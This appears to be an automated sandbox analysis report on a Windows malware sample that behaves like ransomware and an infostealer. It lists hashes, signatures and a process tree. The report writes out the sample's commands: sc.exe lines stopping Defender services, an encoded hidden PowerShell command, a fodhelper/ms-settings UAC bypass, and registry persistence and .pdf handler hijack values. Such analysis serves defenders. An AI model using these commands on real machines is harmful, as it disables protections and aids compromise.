Analysis
- max time kernel
150s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
16/09/2026, 07:27
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
emperoroysters.io_hyber.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
39 signatures
150 seconds
Behavioral task
behavioral2
Sample
emperoroysters.io_hyber.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target emperoroysters.io_hyber.exe
- Size 49KB
- Sample260916-h987navtev
- SHA256 0ef944c07902fbff3823446ebb9afa182ceeb13e0c001d617d00fffe59a55166
- MD5 74ab1fbb4f637c0c7a0b9c5257d703f9
- SHA1 7a559173530c499fea2c681e3bc1173f3cbb1f65
- SHA512 ba9c18cefc0a8027fb17f86b4e544f9a27709799de193f44182697af180821aec4cd298b80ca0059ff85bb8ada537cef6131c3a8c62ff008938292a58374a59b
- SSDEEP 768:JarVZZ6zs0h9QRb1VqqR/NKPzfX/fiZ4C:JwZ6Hhw1RRGP/fiZ4C
- TLSH T1B433074837FE4522D1BF4ABE89B251119731F4539C23DB8E1AD9459E09F3B00CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/3920-1-0x0000000000950000-0x0000000000962000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" emperoroysters.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4548 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" emperoroysters.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts emperoroysters.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2332 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf emperoroysters.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf emperoroysters.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf emperoroysters.io_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\emperoroysters.io_hyber.exe" emperoroysters.io_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 3744 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe emperoroysters.io_hyber.exe File created C:\Windows\system32\sysupdate.exe emperoroysters.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe emperoroysters.io_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 2888 wscript.exe 808 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" emperoroysters.io_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\3568243055.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2864 sc.exe 4832 sc.exe 1380 sc.exe 2696 sc.exe 2028 sc.exe 4288 sc.exe 108 sc.exe 2996 sc.exe 4668 sc.exe 632 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5992 cmd.exe 4796 cmd.exe 636 cmd.exe 4576 cmd.exe 924 cmd.exe 5728 cmd.exe 5820 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5016 NETSTAT.EXE 3204 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4876 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5816 vssadmin.exe 5412 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Control Panel\Desktop\WallpaperStyle = "2" emperoroysters.io_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\ms-settings\shell\open emperoroysters.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\ms-settings\shell\open emperoroysters.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command emperoroysters.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet emperoroysters.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\emperoroysters.io_hyber.exe\" \"%1\"" emperoroysters.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\ms-settings\shell\open\command emperoroysters.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\ms-settings emperoroysters.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\ms-settings\shell emperoroysters.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\emperoroysters.io_hyber.exe" emperoroysters.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\ms-settings\shell\open\command\DelegateExecute emperoroysters.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\ms-settings\shell emperoroysters.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\ms-settings emperoroysters.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open emperoroysters.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000_Classes\ms-settings\shell\open\command emperoroysters.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" emperoroysters.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell emperoroysters.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2852 schtasks.exe 2444 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4548 powershell.exe 4548 powershell.exe 4548 powershell.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 5664 WMIC.exe 5664 WMIC.exe 5664 WMIC.exe 5664 WMIC.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 4356 WMIC.exe 4356 WMIC.exe 4356 WMIC.exe 4356 WMIC.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe 3920 emperoroysters.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 576 LogonUI.exe Token: SeCreatePagefilePrivilege 576 LogonUI.exe Token: SeDebugPrivilege 3920 emperoroysters.io_hyber.exe Token: SeDebugPrivilege 4548 powershell.exe Token: SeIncreaseQuotaPrivilege 4548 powershell.exe Token: SeSecurityPrivilege 4548 powershell.exe Token: SeTakeOwnershipPrivilege 4548 powershell.exe Token: SeLoadDriverPrivilege 4548 powershell.exe Token: SeSystemProfilePrivilege 4548 powershell.exe Token: SeSystemtimePrivilege 4548 powershell.exe Token: SeProfSingleProcessPrivilege 4548 powershell.exe Token: SeIncBasePriorityPrivilege 4548 powershell.exe Token: SeCreatePagefilePrivilege 4548 powershell.exe Token: SeBackupPrivilege 4548 powershell.exe Token: SeRestorePrivilege 4548 powershell.exe Token: SeShutdownPrivilege 4548 powershell.exe Token: SeDebugPrivilege 4548 powershell.exe Token: SeSystemEnvironmentPrivilege 4548 powershell.exe Token: SeRemoteShutdownPrivilege 4548 powershell.exe Token: SeUndockPrivilege 4548 powershell.exe Token: SeManageVolumePrivilege 4548 powershell.exe Token: 33 4548 powershell.exe Token: 34 4548 powershell.exe Token: 35 4548 powershell.exe Token: 36 4548 powershell.exe Token: SeIncreaseQuotaPrivilege 4548 powershell.exe Token: SeSecurityPrivilege 4548 powershell.exe Token: SeTakeOwnershipPrivilege 4548 powershell.exe Token: SeLoadDriverPrivilege 4548 powershell.exe Token: SeSystemProfilePrivilege 4548 powershell.exe Token: SeSystemtimePrivilege 4548 powershell.exe Token: SeProfSingleProcessPrivilege 4548 powershell.exe Token: SeIncBasePriorityPrivilege 4548 powershell.exe Token: SeCreatePagefilePrivilege 4548 powershell.exe Token: SeBackupPrivilege 4548 powershell.exe Token: SeRestorePrivilege 4548 powershell.exe Token: SeShutdownPrivilege 4548 powershell.exe Token: SeDebugPrivilege 4548 powershell.exe Token: SeSystemEnvironmentPrivilege 4548 powershell.exe Token: SeRemoteShutdownPrivilege 4548 powershell.exe Token: SeUndockPrivilege 4548 powershell.exe Token: SeManageVolumePrivilege 4548 powershell.exe Token: 33 4548 powershell.exe Token: 34 4548 powershell.exe Token: 35 4548 powershell.exe Token: 36 4548 powershell.exe Token: SeIncBasePriorityPrivilege 3920 emperoroysters.io_hyber.exe Token: SeDebugPrivilege 4548 whoami.exe Token: SeDebugPrivilege 3744 tasklist.exe Token: SeDebugPrivilege 5016 NETSTAT.EXE Token: SeBackupPrivilege 4544 vssvc.exe Token: SeRestorePrivilege 4544 vssvc.exe Token: SeAuditPrivilege 4544 vssvc.exe Token: SeIncreaseQuotaPrivilege 5664 WMIC.exe Token: SeSecurityPrivilege 5664 WMIC.exe Token: SeTakeOwnershipPrivilege 5664 WMIC.exe Token: SeLoadDriverPrivilege 5664 WMIC.exe Token: SeSystemProfilePrivilege 5664 WMIC.exe Token: SeSystemtimePrivilege 5664 WMIC.exe Token: SeProfSingleProcessPrivilege 5664 WMIC.exe Token: SeIncBasePriorityPrivilege 5664 WMIC.exe Token: SeCreatePagefilePrivilege 5664 WMIC.exe Token: SeBackupPrivilege 5664 WMIC.exe Token: SeRestorePrivilege 5664 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3920 emperoroysters.io_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 576 LogonUI.exe 576 LogonUI.exe 3920 emperoroysters.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 3920 wrote to memory of 4548 3920 emperoroysters.io_hyber.exe 139 PID 3920 wrote to memory of 2864 3920 emperoroysters.io_hyber.exe 91 PID 3920 wrote to memory of 4288 3920 emperoroysters.io_hyber.exe 93 PID 3920 wrote to memory of 4832 3920 emperoroysters.io_hyber.exe 95 PID 3920 wrote to memory of 108 3920 emperoroysters.io_hyber.exe 97 PID 3920 wrote to memory of 1380 3920 emperoroysters.io_hyber.exe 99 PID 3920 wrote to memory of 2696 3920 emperoroysters.io_hyber.exe 101 PID 3920 wrote to memory of 2996 3920 emperoroysters.io_hyber.exe 103 PID 3920 wrote to memory of 4668 3920 emperoroysters.io_hyber.exe 105 PID 3920 wrote to memory of 3272 3920 emperoroysters.io_hyber.exe 107 PID 3272 wrote to memory of 5300 3272 fodhelper.exe 108 PID 3920 wrote to memory of 2888 3920 emperoroysters.io_hyber.exe 111 PID 3920 wrote to memory of 2852 3920 emperoroysters.io_hyber.exe 112 PID 3920 wrote to memory of 5820 3920 emperoroysters.io_hyber.exe 118 PID 3920 wrote to memory of 5992 3920 emperoroysters.io_hyber.exe 120 PID 3920 wrote to memory of 5728 3920 emperoroysters.io_hyber.exe 121 PID 3920 wrote to memory of 924 3920 emperoroysters.io_hyber.exe 122 PID 3920 wrote to memory of 4576 3920 emperoroysters.io_hyber.exe 123 PID 3920 wrote to memory of 636 3920 emperoroysters.io_hyber.exe 124 PID 3920 wrote to memory of 4796 3920 emperoroysters.io_hyber.exe 125 PID 3920 wrote to memory of 2444 3920 emperoroysters.io_hyber.exe 127 PID 3920 wrote to memory of 808 3920 emperoroysters.io_hyber.exe 134 PID 4796 wrote to memory of 5016 4796 cmd.exe 135 PID 5992 wrote to memory of 4876 5992 cmd.exe 136 PID 3920 wrote to memory of 3608 3920 emperoroysters.io_hyber.exe 137 PID 4576 wrote to memory of 3560 4576 cmd.exe 138 PID 924 wrote to memory of 4548 924 cmd.exe 139 PID 3920 wrote to memory of 5816 3920 emperoroysters.io_hyber.exe 140 PID 3920 wrote to memory of 5664 3920 emperoroysters.io_hyber.exe 141 PID 3920 wrote to memory of 3088 3920 emperoroysters.io_hyber.exe 142 PID 3920 wrote to memory of 2332 3920 emperoroysters.io_hyber.exe 143 PID 3920 wrote to memory of 2028 3920 emperoroysters.io_hyber.exe 144 PID 3920 wrote to memory of 632 3920 emperoroysters.io_hyber.exe 145 PID 5728 wrote to memory of 3744 5728 cmd.exe 146 PID 636 wrote to memory of 3204 636 cmd.exe 149 PID 3560 wrote to memory of 1672 3560 net.exe 154 PID 5820 wrote to memory of 5412 5820 cmd.exe 155 PID 3088 wrote to memory of 940 3088 net.exe 157 PID 5820 wrote to memory of 4356 5820 cmd.exe 159 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3920 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4548
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2864
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4288
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4832
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:108
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1380
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:2696
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:2996
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4668
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3272 -
C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\emperoroysters.io_hyber.exe"3⤵PID:5300
